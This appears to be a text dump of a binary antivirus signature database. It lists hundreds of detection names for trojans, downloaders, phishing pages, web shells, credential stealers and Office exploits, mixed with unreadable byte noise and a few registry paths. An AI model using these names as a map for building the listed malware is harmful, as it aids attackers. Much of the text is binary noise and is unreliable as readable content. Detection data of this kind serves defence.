\"\"&\"1\"&()&&10&&13&&14&&15&&16&&17&&27&&18&&=9&&te&&ng&&eh&&ji&&fr&&[['&01)&32)&83)&34)&05)&16)&36)&46)&87)&38)&98)&69)&>=0&g12&r>2&103&&74&474&855&32;&od=&_-?&e(a&pla&(~a&oad&amd&0;i&wmv&dow&50}&22}&.(\"''=\"'r%&'\"+'''^''eq''=(('me('re('if('is('\"))'h\"+')'+'='+'a'+'c'+'d'+'e'+'g'+'h'+'i'+'j'+'k'+'m'+'o'+'p'+'q'+'r'+'s'+'t'+'w'+'x'+''.+'05+'3f+'lk+'do+'&','ig,'le-'...'**/'\\\\/'100'x40':80'x21'?l1'x33'x25'x35'x36'376'x37'ik7'x29'x39'me<'32='==='er='is='zz='))>'me>'_l[''g\\'x2a'rea'x2b'x7b'x2c'x5c'x7c'arc'x2d'x7d'p>d'ind'x2e'x3e'she'ame'x5f'faf'='g'.sh','i'cli'cri'uck'ink','m'+'n'ran'fro','p'php''ip'sir'vir'dor','s'm's't.s'bas'nct'ipt','w'cky'-=|''{}'le\"(){$(])%()&&(%&'()-(();((==((v=((,()(())(;})(31+($]+(00-(]=-(t\\/(te2(an2(256($$:($_:(.$=(._=(aa=(ea=(ex=(>0?(xt?(t=@(zz[(or\\(''](()](ga](.da(rka(ula(exa();b(rib(sub(){b(dac(onc(_sc(asc(utc(add(med(xed(mid(uid(old(and(ace(ude(ike(ile(ame(ime(ase(ise(rse(ate(ete(ove(;}e(</f(ref({if(elf(wsh(eak(ank(unk(bal(eal(val(ill(bol(ctl(man(len(ten(zen(min(ern(urn(.go(oip(sup(exp(10r(car(har(der(ner(for(hor(ior(str(nas(rbs(lds(tes(lls(pos(ers(tus(eys(ect(net(uit(alt(ent(int(+ot(ept(opt(ypt(est(ext(idu(hru(iew(riw(now(pow(exw(max(=ex(iex(oex(ply(usy();}(00\")01\")\"2\")74\")==\")\"a\")rg\")(!$)+'')11')};')e>')\\\\')'e')on')dy')&'(),.()\"]()om()an()en()op()es()ct()aw()xz(),\"))}())\")))()))2))),1))(x)),!0)=(0)b(0)0,0)1,0)200),10))*1)),2)<32)(82)013)+=3)+=4),16)(46)107)117)728)hn8)h(a)inb)e(c)q+c)ted)nrd)ime)ive)ech)gth)t(i)(?i)g(n)e(o)ndo)dir)ers)ect)ost).ru)a8x)v(z));})90\"*!p#*'()*+1)*='**#(.*\\*.*0\"/*1\"/*2\"/*3\"/*4\"/*5\"/*6\"/*7\"/*8\"/*9\"/*n\"/*/,/*)[/*/[/*[]/*tf/*ew/***0**61*=64*1.5*er8*+1]*asa*ixa*0*c*esc*ace*ile*ime*ese*n@g*p*l*sul*sco*s/q*var*ass*`fu*gov*([!+(\"\"++\"\"+,\"\"+\\\\\"+sa\"+dd\"+wi\"+in\"+\"s\"+ms\"+ws\"+uy\"+$$$+.$$+_=$+$_$++''+'a'+ub'+nd'+'e'+'r'+!$)+4()++0)+40)+41)+61)+34)+44)+45)+26)+<6)+38)+$])+er)+$:++_:++){++l4/+,82+984+(46+zq6+z29+[39+n89+ta9+tr9+$_:+$$]+[0]+[1]+[2]+[3]+[4]+75]+[5]+26]+[6]+![]+$_]+$$_+$__+.__+___+);a+ava+ate+kjh+ath+zhj+t3l+url+tum+zaq+\"+r+x6s+s=s+rds+e'u+pvw+(\"\",,\"\",+$\",bb\",\"e\",cr\",sx\",+'','+','~',/g),(),,+(/,s(0,=[0,,!1,4,1,201,121,131,231,241,,51,151,251,,61,171,,81,vk1,4,2,202,122,,42,,52,162,172,182,123,223,143,=43,,53,253,173,x04,514,224,134,244,154,,64,174,184,205,x05,135,235,155,,75,.75,175,,85,xb5,5,6,x06,116,126,226,136,236,,46,246,,76,207,x07,217,,27,227,137,157,187,197,8,8,118,218,228,238,,58,168,,78,178,,98,109,209,,59,159,169,769,179,,89,,99,39[,[6],[[],\"]],']],x0a,x6a,twa,a:b,x0d,x0e,]/g,ask,_ll,.ru,ro'-),(-...3---x---r<--\\n---r--%s--`g.-;//-000-100-800-020-340-(70-170-==0-5a0-/(1-001-f11-551-==1-e=1-f12-=22-==2-==3-==4-1d4-545-475-==5-4e5-376-217-==7-018-768-==8-019-==9-!==-s==-RSA-]+[-(/[-if[-[0]--__-afa-rsa-ata-38b-2fd-91e-47e-xee-nsh-?(j-[vl-jbo-#so-tep-aes-ait-w6w-=[\".+($.$+$.$;$.};$.)[$.][$.){$.=\"(.12(.15).rl).nt).;0..[0../$/.)?/.000.100.370.280.n/1.001.111.531..61.pa1.et1.r32.162.072..82.za3..w3.p.4..44.664.p64.el4.255.365.185.537.257.n77.8.8.608.188.219..89.\\.\\.n\"].&(a.f(a.c.a.mba.gga.nva.ixa.aya.e(b.nab..bb.teb..gb.rnb.job.spb.arb.){b..ac.iac.sec.aic.alc.rnc.8dd.eld.lld...e.fbe.mce.oie.ule.ype.are.exe.elf.gjg.bug.yug.rai.cii.hni.api.ysi.nvi.iwi.4ck.lck.ook.msk.mtk.ntl.tem.tkm.bin.ion.igo.pto.pap.sap./hp.top.tup.rfq.phq.bur.);s.cds.cis.rms.ess.nts.bat.net.ipt.ost.jtu.)yu.raw./ow.\"xx.axx.mmy.mpy.ery.daz.zzz.n\"}.r\"}.'s'/01)/24)/27)/;/*/;@*/ce+/\"://000/120/220/241/071/gg1/202/v52/362/233/443/e24/174/105/955/275/316/146/728/158/288/\"8:/ml:/cp:/sp:/();/)};/;};/f0</1></3></l>=/33>/e[\\/04]/25]/0>]/uva/lub/|cd/bid/70e/ade/yee/ome/zdh/jai/8fi/cgi/lti/nek/.cl/eam/adm/_en/ion/hup/var/65s/ers/_us/.at/net/icu/*ev/.pw/vax/(){/d){/se{/14}/;}}/d(!0==!0\",\"0;&#007'0\",(0),(0)-(0!=(0if(0at(0(/*005+018+0\"),0(0,001,0b7,0=(-0x)-0-3-045-016-0h=-002.0.4.015.0%6/0&#00p-000.0010002000300060008000900001001100720073005400\"5000600(800,800._001e008e007f00(\"10r(103-100010101060100110,21002103210041015100810\":105:10][10__10sa10ot10(\"20902003200520;8200920sa20db20 Wv67   AC@   kz o5H x*a #  T} \\   KT zc#  KT z] @ @  ,v5 g F   `~>     jL< p  yH;  yH; Y S7> 2 > Dd` ?G9> ?G9> P {6[? l~b? \th` ? y(n? S? $& m? 7 <)}? <)}? X]^ 8b^? 8b^? n =/? m CEc? CEc? k +vo? OA~? \"4-? s? SX ? []S > uvB  :I)` qI\" W-6 #/ C F$ !@  `QJN @ `p@ )$+T j 5!  a \t1  C   EA( # C > >                        B\tBE     B\tBE    _/<3p R@Q5A H3gSs HeGV-[ Q+kP^ H}2DO ZFNfW nM~8p 9x7)] XnKC8 9ui#} 2ke/! D(HyS} @bjHD  GIHV Z!5||~* 3GcF> Is}Dlk5 meVance !#Exploit:Win32/Dufmoh.C U{S(& !#SCPT:Nemucod_exclusion\\6n !#SCPT:Nemucod_exclusiond oP}W(& !#SCPT:PWS:HTML/Phish.X1 !#SCPT:PWS:HTML/Phish.X2 !#SCPT:PWS:HTML/Phish.X3 !#SCPT:PWS:HTML/Phish.X4 !#SCPT:Trojan:BAT/Zbot.A\t !#SCRIPT:CozerRelatedPdfX !#SLF:SCPT/Clengtst.E!cl6 !#SP:VirTool:JS/Flashy.A !#Trojan:VBS/Schopets.P1 !#Trojan:VBS/Schopets.P2:2n #VirTool:JS/Obfuscator.H !#ALFPER:Adwind.GetAV!vbs !#SCPT:RTF/CVE20170199REV !#SCPT:RTF/CVE20170199STR !#SCRIPT:ServuFtpMainPage !#SLF:Trojan:O97M/Nocgreyh !#TEL:HTML/CoinHive.C!lib% !#TEL:HTML/CoinHive.C!lib0 !#TEL:HTML/CoinHive.C!libPH !#TEL:HTML/CoinHive.C!libc/ !#TEL:HTML/CoinHive.C!libdH=T !#TEL:HTML/CoinHive.C!libt !#TEL:HTML/CoinHive.C!lib !#TEL:Ransom:TXT/Cerber.A- !#TEL:Ransom:TXT/Cerber.A !#TEL:Ransom:VBS/Cerber.AU| #Trojan:Win32/Jpgiframe.A5 #Trojan:Win32/Jpgiframe.A !#ALF:Java/BanloadManifest !#ALFPER:MSIL/Samas.A!html !#Backdoor:ASP/Dirtelti.P1 !#Backdoor:ASP/Dirtelti.P2K] !#MpIsExhaustiveScriptScan eQ) !#MpIsExhaustiveScriptScanu  !#SCPT:Adodb.base64encoded !#SCPT:PDF/Frauddoc.RJ!MTB$ !#SCPT:Ransom:HTML/Locky.B !#SCPT:Trojan:JS/Obfuse.G1 !#Trojan:HTML/FakeAlert.P1 !#Trojan:HTML/FakeAlert.P2 !#Trojan:VBS/Startpage.N.1x !#Trojan:VBS/Startpage.W.1 #Exploit:Win32/ShellCode.A' #Exploit:Win32/ShellCode.A !#ALF:Extention:JS/FakeAV.B !#PossibleJenxcusObfuscator] Y6%0() !#PossibleJenxcusObfuscator !#SCPT:VBS/Exception_Tisifi !#SCRIPT:Jenxcus_Obfuscator !#TEL:HTML/ObfusAnalytics.Ab !#TEL:HTML/ObfusAnalytics.B !#TEL:Trojan:JS/Chromex!MSR !#Trojan:Win32/Vilsel.C!delZ$ !#ALF:PowerShell.Mikatz.S001 !#ALF:PowerShell.Mikatz.S002m !#Exploit:HTML/CVE-2010-3329b# !#RTF_DEEPSCAN!CVE-2010-3333p !#RTF_DEEPSCAN!CVE-2010-3333 !#SCPT:PWS:O97M/Phish.G1!MSR !#SCPT:Ransom:JS/Vaultlock.A !#SCPT:VirTool:JS/Pdf_NoSaveo`l !#TEL:Exploit:JS/ObjSnap!MTBt !#Trojan:PowerShell/Tnega.P1n !#Trojan:PowerShell/Tnega.P2 !#Trojan:PowerShell/Tnega.PA !#Trojan:PowerShell/Tnega.PB !#ALF:Extention:JS/infatica.A !#ALF:Extention:JS/infatica.b !#ALF:Trojan:BAT/Killfiles.RAX !#PossibleJenxcusObfuscatorV2NP; !#SCPT:JenxcusCustomBase64Obf !#SCPT:Trojan:JS/MalScript.B1G !#SCPT:Trojan:JS/MalScript.B2{ !#SCPT:Trojan:JS/MalScript.B3 !#SCPT:Trojan:JS/MalScript.B4 !#SCPT:Trojan:JS/MalScript.B5 !#SCPT:Trojan:JS/MalScript.B6 !#SCPT:Trojan:JS/MalScript.B7 !#SCPT:Trojan:JS/MalScript.B8 !#SCPT:VirTool:JS/SeeNoEvil.A>(o 9[G(+ !#SCPT:VirTool:JS/SeeNoEvil.AG !#SCRIPT:Trojan:JS/Medfos.B.1 !#TEL:Ransom:HTML/CryptMess.A] !#TEL:Ransom:HTML/CryptMess.Agf !#TEL:Ransom:TXT/Cerber.B!rsm'*F !#TEL:Ransom:VBS/Cerber.B!rsm !#TEL:Trojan:HTML/Phish.D!MSR !#TEL:Trojan:JS/Nemucod.R!MTB !#TEL:Trojan:JS/Nemucod.R!MTB4(6 !#TEL:Trojan:JS/Nemucod.R!MTB] !#TEL:Trojan:JS/Nemucod.R!MTBhsrS !#Trojan:AndroidOS/Malcert.B1 !#Trojan:PowerShell/Tnega.P11l !#Trojan:PowerShell/Tnega.P12 !#VirTool:Win32/Obfuscator.XYY4K /3DR(+ !#VirTool:Win32/Obfuscator.XYqG !#VirTool:Win32/Obfuscator.XY !#ALF:BanloadJarLoaderManifest !#ALF:Trojan:HTML/Phish.NX!MTB: !#ALF:Trojan:JS/Obfuse.PRF!MTBb !#SCPT:Exploit:HTML/Fashack.AP !#SCPT:Exploit:HTML/Fashack.AQ !#SCPT:Exploit:HTML/Fashack.AR !#SCPT:Trojan:Win32/Lodbak!lnkG^ !#SCRIPT:PWS:Win32/Phishbank.A !#TEL:Trojan:VBS/Runcatnet!dha 2L_h(, !#TEL:Trojan:VBS/Ursnif.SS!MTB< #Nexgen_Acidmax_Rainbow_PlayerE !#ALF:SCPT:Win32/Coinminer.S001O !#ALF:SCPT:Win32/Coinminer.S001q# !#ALF:Trojan:BAT/Killav.SIB!MTB !#ALF:Trojan:PDF/Sonbokli.R!MTB !#ALF:Trojan:VBA/Downldr.RA!MTBk !#ALF:Trojan:VBA/Downldr.RB!MTBk !#ALF:Trojan:VBA/Downldr.RC!MTBk !#ALF:Trojan:VBA/Downldr.RD!MTBk !#ALF:Trojan:VBS/Obfuse.PRF!MTBs !#SCPT:Backdoor:Python/Covnoo.A8 !#SCPT:Trojan:O97M/Phish.G1!MSRh !#SCPT:Trojan:O97M/Phish.G2!MSRh !#SCPT:VirTool:JS/Obfuscator.BU !#SCRIPT:NotodarClickerScript.A !#SCRIPT:Trojan:Win32/Sercgov.A !#SCRIPT:Worm:VBS/Dunihi.B_footv !#SCRIPT:Worm:VBS/Dunihi.B_head !#TEL:Backdoor:ASP/WebShell!MSR !#TEL:Trojan:HTML/FakeAlert!MSRt !#TrojanClicker:JS/Faceliker.P1 !#TrojanClicker:JS/Faceliker.P2W^  !#ALF:Trojan:AndroidOS/Malcert.A (. !#ALF:Trojan:AndroidOS/Malcert.A  !#ALF:Trojan:JS/TrickBot.PRF!MTB (. !#ALF:Trojan:JS/TrickBot.PRF!MTB  !#Exception:CmdBatchWithSchtasksn<; (. !#Exception:CmdBatchWithSchtasksn<;  !#Exception:CmdBatchWithSchtasks  (. !#Exception:CmdBatchWithSchtasks  !#SCPT:O97M/CVE-2012-0158.RA!MTB (. !#SCPT:O97M/CVE-2012-0158.RA!MTB  !#SCPT:O97M/CVE-2012-0158.RA!MTB1 (. !#SCPT:O97M/CVE-2012-0158.RA!MTB1  !#SCPT:O97M/CVE-2012-0158.RA!MTB3 (. !#SCPT:O97M/CVE-2012-0158.RA!MTB3  !#SCPT:O97M/CVE-2012-0158.RA!MTBB (. !#SCPT:O97M/CVE-2012-0158.RA!MTBB  !#SCPT:O97M/CVE-2012-0158.RA!MTBHWE (. !#SCPT:O97M/CVE-2012-0158.RA!MTBHWE  !#SCPT:O97M/CVE-2012-0158.RA!MTBR (. !#SCPT:O97M/CVE-2012-0158.RA!MTBR  !#SCPT:O97M/CVE-2012-0158.RA!MTBiGHj (. !#SCPT:O97M/CVE-2012-0158.RA!MTBiGHj  !#SCPT:O97M/CVE-2012-0158.RA!MTBt4 (. !#SCPT:O97M/CVE-2012-0158.RA!MTBt4  !#SCRIPT:Worm:VBS/Jenxcus.L_head (. !#SCRIPT:Worm:VBS/Jenxcus.L_head  !#SCRIPT:Worm:VBS/Jenxcus.L_tailF (. !#SCRIPT:Worm:VBS/Jenxcus.L_tailF  !#TrojanDownloader:JS/Nemucod.A1 (. !#TrojanDownloader:JS/Nemucod.A1  !#TrojanDownloader:JS/Nemucod.A2 (. !#TrojanDownloader:JS/Nemucod.A2  !#TrojanDownloader:JS/Nemucod.B1 (. !#TrojanDownloader:JS/Nemucod.B1  !#TrojanDownloader:JS/Nemucod.B2 (. !#TrojanDownloader:JS/Nemucod.B2  !#TrojanDownloader:JS/Nemucod.C1 (. !#TrojanDownloader:JS/Nemucod.C1  !#TrojanDownloader:JS/Nemucod.C2 (. !#TrojanDownloader:JS/Nemucod.C2 !!#//EXC:Exploit:Win32/ShellCode.A (/!!#//EXC:Exploit:Win32/ShellCode.A !!#SCPT:Worm:VBS/Jenxcus!JunkSleep (/!!#SCPT:Worm:VBS/Jenxcus!JunkSleep !!#SCRIPT:Exploit:HTML/Axpergle.AG (/!!#SCRIPT:Exploit:HTML/Axpergle.AG !!#SCRIPT:Trojan:Win32/Sercgov.endW (/!!#SCRIPT:Trojan:Win32/Sercgov.endW !!#SCRIPT:Worm:Win32/Gamarue.W!lnk^ (/!!#SCRIPT:Worm:Win32/Gamarue.W!lnk^ !!#TEL:Trojan:HTML/Phishing.SM!MTB ;(/!!#TEL:Trojan:HTML/Phishing.SM!MTB !!#TEL:Trojan:HTML/Phishing.SM!MTBt (\to (/!!#TEL:Trojan:HTML/Phishing.SM!MTBt !!#TEL:Trojan:HTML/Phishing.SS!MTB (/!!#TEL:Trojan:HTML/Phishing.SS!MTB [ E{]K[ 1[ O[ {,f[ {,f[ [ [ *^l[ *^l[ [ [ [ {[ [ [ [ [ [ \"!#ALF:Trojan:Script/Sabsik.SIB!MTB (0\"!#ALF:Trojan:Script/Sabsik.SIB!MTB \"!#SCPT:Trojan:HTML/MalScript.H!MTB (0\"!#SCPT:Trojan:HTML/MalScript.H!MTB \"!#SCPT:Trojan:HTML/Phish.RVAA1!MTB (0\"!#SCPT:Trojan:HTML/Phish.RVAA1!MTB \"!#SCRIPT:Worm:Win32/Vercuser.A!lnk) (0\"!#SCRIPT:Worm:Win32/Vercuser.A!lnk) \"!#TEL:TrojanDownloader:VBS/Ruapt.A Q(0\"!#TEL:TrojanDownloader:VBS/Ruapt.A \"!#do_exhaustivehstr_rescan_jenxcus;., (0\"!#do_exhaustivehstr_rescan_jenxcus;., \"#TrojanDownloader:HTML/Adodb.gen!B (0\"#TrojanDownloader:HTML/Adodb.gen!B #!#ALF:Trojan:Script/Ranworwe.RS!MTB (1#!#ALF:Trojan:Script/Ranworwe.RS!MTB #!#ALF:TrojanDropper:JS/Revil.PA!MTBpf (1#!#ALF:TrojanDropper:JS/Revil.PA!MTBpf #!#BrowserModifier:WinREG/IEHomepage (1#!#BrowserModifier:WinREG/IEHomepage #!#LOWFI:Backdoor:VBS/Brozerch.A!dha  R(1#!#LOWFI:Backdoor:VBS/Brozerch.A!dha #!#SCPT:HackTool:ASP/AspxShell!cmdsB^ (1#!#SCPT:HackTool:ASP/AspxShell!cmdsB^ #!#SCRIPT:Exploit:Win32/Pdfjsc.ADS.1 (1#!#SCRIPT:Exploit:Win32/Pdfjsc.ADS.1 #!#SCRIPT:Trojan:Win32/Jabonit.A_revH GtJ(1#!#SCRIPT:Trojan:Win32/Jabonit.A_revH #!#TEL:Exploit:O97M/CVE-2012-0158.DP (1#!#TEL:Exploit:O97M/CVE-2012-0158.DP $!#ALF:SCRIPT:Trojan:JS/Redirector.QE (2$!#ALF:SCRIPT:Trojan:JS/Redirector.QE $!#TEL:TrojanDownloader:JS/Tranamul.A[  (2$!#TEL:TrojanDownloader:JS/Tranamul.A[ $!#TrojanDownloader:O97M/Gamaredon.B1h (2$!#TrojanDownloader:O97M/Gamaredon.B1h $!#TrojanDownloader:O97M/Gamaredon.B2 (2$!#TrojanDownloader:O97M/Gamaredon.B2 %!#//SCPT:Trojan:AndroidOS/Fakeinst.SA (3%!#//SCPT:Trojan:AndroidOS/Fakeinst.SA %!#//SCPT:Trojan:AndroidOS/Fakeinst.SBM (3%!#//SCPT:Trojan:AndroidOS/Fakeinst.SBM %!#//SCPT:Trojan:AndroidOS/Fakeinst.SC!9 _(3%!#//SCPT:Trojan:AndroidOS/Fakeinst.SC!9 %!#//SCPT:Trojan:AndroidOS/Fakeinst.SD \\(3%!#//SCPT:Trojan:AndroidOS/Fakeinst.SD %!#//SCPT:Trojan:AndroidOS/Fakeinst.SE (3%!#//SCPT:Trojan:AndroidOS/Fakeinst.SE %!#ALF:TrojanDownloader:JS/Nemucod!MTB/ )(3%!#ALF:TrojanDownloader:JS/Nemucod!MTB/ %!#ALF:TrojanDropper:VBS/Obfus.ARA!MTB x\\ (3%!#ALF:TrojanDropper:VBS/Obfus.ARA!MTB %#FP_TrojanDownloader:HTML/Adodb.gen_A#* (3%#FP_TrojanDownloader:HTML/Adodb.gen_A#* %!#SCPT:Exploit:O97M/CVE-2017-8570.BD1 (3%!#SCPT:Exploit:O97M/CVE-2017-8570.BD1 %!#SCPT:Exploit:O97M/CVE-2017-8570.BD2 (3%!#SCPT:Exploit:O97M/CVE-2017-8570.BD2 %!#SCPT:Exploit:O97M/CVE-2017-8570.BD3 (3%!#SCPT:Exploit:O97M/CVE-2017-8570.BD3 %!#SCRIPT:TrojanDropper:Win32/Figyek.A] (3%!#SCRIPT:TrojanDropper:Win32/Figyek.A] %!#SCRIPT:VirTool:Win32/AutInject.BS.1+ MJ((3%!#SCRIPT:VirTool:Win32/AutInject.BS.1+ %!#SCRIPT:VirTool:Win32/AutInject.BS.1 (3%!#SCRIPT:VirTool:Win32/AutInject.BS.1 ;Ffn %!#SCRIPTLOWFI:Trojan:PHP/Redirector.H (3%!#SCRIPTLOWFI:Trojan:PHP/Redirector.H &!#ALF:Exploit:Win32/CVE-2017-11882!MTB (4&!#ALF:Exploit:Win32/CVE-2017-11882!MTB &!#ALF:SCRIPT:Trojan:Win32/Asruex.A!dha )(4&!#ALF:SCRIPT:Trojan:Win32/Asruex.A!dha (4&!#ALF:SCRIPT:Trojan:Win32/Asruex.A!dha &!#ALF:TrojanDownloader:VBS/Gozi.SS!MTB (4&!#ALF:TrojanDownloader:VBS/Gozi.SS!MTB &!#FP_TrojanDownloader:HTML/Adodb.gen_A (4&!#FP_TrojanDownloader:HTML/Adodb.gen_A &!#SCRIPT:TrojanDropper:Win32/Sarvdap.A (4&!#SCRIPT:TrojanDropper:Win32/Sarvdap.A &!#SCRIPT:VirTool:Win32/Injector.gen!EP (4&!#SCRIPT:VirTool:Win32/Injector.gen!EP &!#TEL:Powershell/ReflectivePEInjection (4&!#TEL:Powershell/ReflectivePEInjection '!#ALF:SCPT:Trojan:JS/Redirector.MRF!bitV (5'!#ALF:SCPT:Trojan:JS/Redirector.MRF!bitV '!#ALF:SCPT:Trojan:JS/Redirector.MRF!bit (5'!#ALF:SCPT:Trojan:JS/Redirector.MRF!bit  '!#SCRIPT:TrojanDropper:VBS/Bladabindi.D (5'!#SCRIPT:TrojanDropper:VBS/Bladabindi.D '!#TEL:Exploit:O97M/CVE-2017-0199.JK!MTB (5'!#TEL:Exploit:O97M/CVE-2017-0199.JK!MTB '!#TEL:TrojanDownloader:VBS/Schopets!MSR (5'!#TEL:TrojanDownloader:VBS/Schopets!MSR (!#ALF:Exploit:O97M/CVE-2017-11882.AV!MTBk_] (6(!#ALF:Exploit:O97M/CVE-2017-11882.AV!MTBk_] (!#ALF:Exploit:O97M/CVE-2017-11882.JR!MTB (6(!#ALF:Exploit:O97M/CVE-2017-11882.JR!MTB (!#ALF:Exploit:O97M/CVE-2017-11882.SS!MTBy (6(!#ALF:Exploit:O97M/CVE-2017-11882.SS!MTBy (!#ALF:Exploit:O97M/CVE-2017-11882.SS!MTB (6(!#ALF:Exploit:O97M/CVE-2017-11882.SS!MTB (!#ALF:TrojanDownloader:VBS/Obfuse.AP!MTB (6(!#ALF:TrojanDownloader:VBS/Obfuse.AP!MTBJ@q (!#SCRIP:HackTool:Python/Smbexec!MSR.S001 (6(!#SCRIP:HackTool:Python/Smbexec!MSR.S001 (!#SCRIP:HackTool:Python/Smbexec!MSR.S002 (6(!#SCRIP:HackTool:Python/Smbexec!MSR.S002 (!#TEL:Exploit:O97M/CVE-2017-11882.JR!MTBh (6(!#TEL:Exploit:O97M/CVE-2017-11882.JR!MTBh (!#TEL:Exploit:O97M/CVE-2017-11882.JR!MTB (6(!#TEL:Exploit:O97M/CVE-2017-11882.JR!MTB (!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTB (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTB (!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTB! (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTB! (!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTB8 (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTB8 (!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBAt (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBAt (!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBL (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBL (!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBM (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBM (!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBl (6(!#TEL:Exploit:O97M/CVE-2017-11882.RA!MTBl (!#TEL:TrojanDropper:PowerShell/Plugx!dha (6(!#TEL:TrojanDropper:PowerShell/Plugx!dha )!#ALF:TrojanDownloader:LNK/Agent.SIBA!MTB (7)!#ALF:TrojanDownloader:LNK/Agent.SIBA!MTB )!#ALF:TrojanDownloader:O97M/EncDoc.AS!MTBXTJ (7)!#ALF:TrojanDownloader:O97M/EncDoc.AS!MTBXTJ )!#ALF:TrojanDownloader:O97M/EncDoc.SA!MTBh (7)!#ALF:TrojanDownloader:O97M/EncDoc.SA!MTBh )!#ALF:TrojanDownloader:O97M/EncDoc.SM!MTB  (7)!#ALF:TrojanDownloader:O97M/EncDoc.SM!MTB  )!#ALF:TrojanDownloader:O97M/EncDoc.SM!MTB (7)!#ALF:TrojanDownloader:O97M/EncDoc.SM!MTB )!#ALF:TrojanDownloader:O97M/Obfuse.JM!MTBh (7)!#ALF:TrojanDownloader:O97M/Obfuse.JM!MTBh )!#ALF:TrojanDownloader:O97M/Powdow.AV!MTBu^ (7)!#ALF:TrojanDownloader:O97M/Powdow.AV!MTBu^ )!#ALF:TrojanDownloader:O97M/Qakbot.AS!MTBe (7)!#ALF:TrojanDownloader:O97M/Qakbot.AS!MTBe )!#SCPT:TrojanDownloader:BAT/Powdow.X1!MSR (7)!#SCPT:TrojanDownloader:BAT/Powdow.X1!MSR )!#SCRIPT:Backdoor:Win32/AluminumApt!lowfi (7)!#SCRIPT:Backdoor:Win32/AluminumApt!lowfi )!#SCRIPT:BrowserModifier:Win32/DefaultTab (7)!#SCRIPT:BrowserModifier:Win32/DefaultTab *!#ALF:TrojanDownloader:O97M/IcedID.PKX!MTBh (8*!#ALF:TrojanDownloader:O97M/IcedID.PKX!MTBh *!#TEL:TrojanDownloader:O97M/Emotet.STD!MTB (8*!#TEL:TrojanDownloader:O97M/Emotet.STD!MTB *!#TEL:TrojanDownloader:O97M/Emotet.WRD!MTBK (8*!#TEL:TrojanDownloader:O97M/Emotet.WRD!MTBK *!#TEL:TrojanDownloader:O97M/ObfBook.JK!MTBh (8*!#TEL:TrojanDownloader:O97M/ObfBook.JK!MTBh +!#//SCPT:TrojanDropper:AndroidOS/Gustuff.aa (9+!#//SCPT:TrojanDropper:AndroidOS/Gustuff.aa +!#ALF:HackTool:PowerShell/MysteryPart.A!MTBv0 (9+!#ALF:HackTool:PowerShell/MysteryPart.A!MTBv0 +!#ALF:SCRP:TrojanDownloader:JS/Nemucod.S0a0 (9+!#ALF:SCRP:TrojanDownloader:JS/Nemucod.S0a0 +!#ALF:Trojan:AndroidOS/FakeAdBlockerCert.A1Vfk (9+!#ALF:Trojan:AndroidOS/FakeAdBlockerCert.A1Vfk +!#ALF:Trojan:PowerShell/Meterpreter.SIB! (9+!#ALF:Trojan:PowerShell/Meterpreter.SIB!  f97877392a32  fb7814d4bc30  fb78362a0fe6  fe780a9cff74  fe783ac7be81  10578f13cf283  109781cef300a  249782bccf2e8  !#Lua:MsilMpAttributeML!func !#Lua:MsilMpAttributeML!funcObMpAttributes 237887428d07   2e78d0a53169 3678ba8453c0 3d7891a17dbf  4a7820e2d697  517833c240a5  5a78e5e2a362  687849052314 8978411aa98c b778dc7357d4 b961ed6273cb  d278e0c5b46b e4785b460595 fd782e507ee8 6978ea097b39 6978ea097b39Flags1 HSTR:Chaflicon 1027802cba9d1  10278788e17cc  103780a601f5c  103781259e139  1047856b61490  104788088a6f2  10578bb6daea7  106787e298866  10678f34d9baa  1087802e977ae  10878e6a36d45  10a78138db430  10b78be477e20  10b78e9794e95  10d784e45ce6b  10d78afdd93c0  10d78ea2bf57b  10f783cf7ae3e  10f78d239ccec  10f78f5d33371  11178201ea098  11178a8d40fbc  11378fe79ed85  114780d6e5801  11478d3cc79e7  1156181bf590a  1167800a1023f  1167827113d11  11678869381bf  117618bd584ca  11778286e731f  11878e3b8e18a  11878eea6ecf5  11b7824f7c497  11c780085cce5  11d78b00d18c8  11f7867f03502  11f787e0b2cad  1207866d3419c  120789634ba9e  12078db2543a7  121781cccb27d 123789c47137f  124613f1d038c  12540d2eff87e  125785ced0ef4  12578e76cd58d  1267823ee5e6e  126788db98d77  128788e87e83f  C\\VdqC !~on#5P OA3JP I_K\"O `e:~~ +#km(# f%\\S{  f%\\S{ dL{cU f&dlV[I4  f&dlV[I4 8# ax _Kb#f9 ux3?SL [xX2L =<WwMo *}{{e=  f/{( f2'}-t5\\  f2'}-t5\\ '3_R8 2~H@$&0 c1xA^b f8F^E,  f8F^E,  f:8V DlZtl <]%9$ X 8\\X  f<\"<  f=i\" !8<z  i7*4[[ ,LBO3  fC<F  fD0( 't:xV 5\\13}9E fEfJa  fEfJa  fG!v fI/js  fI/js u\\Db^  fJ>w *7aTi  fQqU  fRd:  fSBt gq,jt4|X B-@LF0b  fV%L  fW$N m+Coc @Vi vnTVa  f]'w  f_[[ /ghw+  n/\"Y (Kc4' fc6.A  fc6.A fc`'?8&  fc`'?8& fe=xz  fe=xz feU0}  feU0} &<b&*=S|  fg$]  fgT[ nzf ;dD] fjs#2  fmDy 7Bec' j!`oa Evkyh ,p r4 pcdX   fwZ-  fxvY fy#PB  fy#PBVV fzHv>  fzHv> jK$9| 7DtNH  f~=D lnnHd N,9Y+> 9 gw^ ..GF{ .EF^p q14XH x0|=,1#4 )(L V 6,U46au*G*' y^rt\"- dI{{!- )82!7 _2>Sj B<-as DE<2. 4!rfb 5h68qC s|=ij xG`0|7JP 4Dn]x 0u$]> J>+Sh }o~e}_ feGrl vU!@pM Og\\w[ 8D\"yI oft\\Internet Explorer\\Approved Extensions HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Ext\\CLSID BHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Ext\\CLSID HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Ext\\PreApproved\\ @HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Ext\\PreApproved\\ 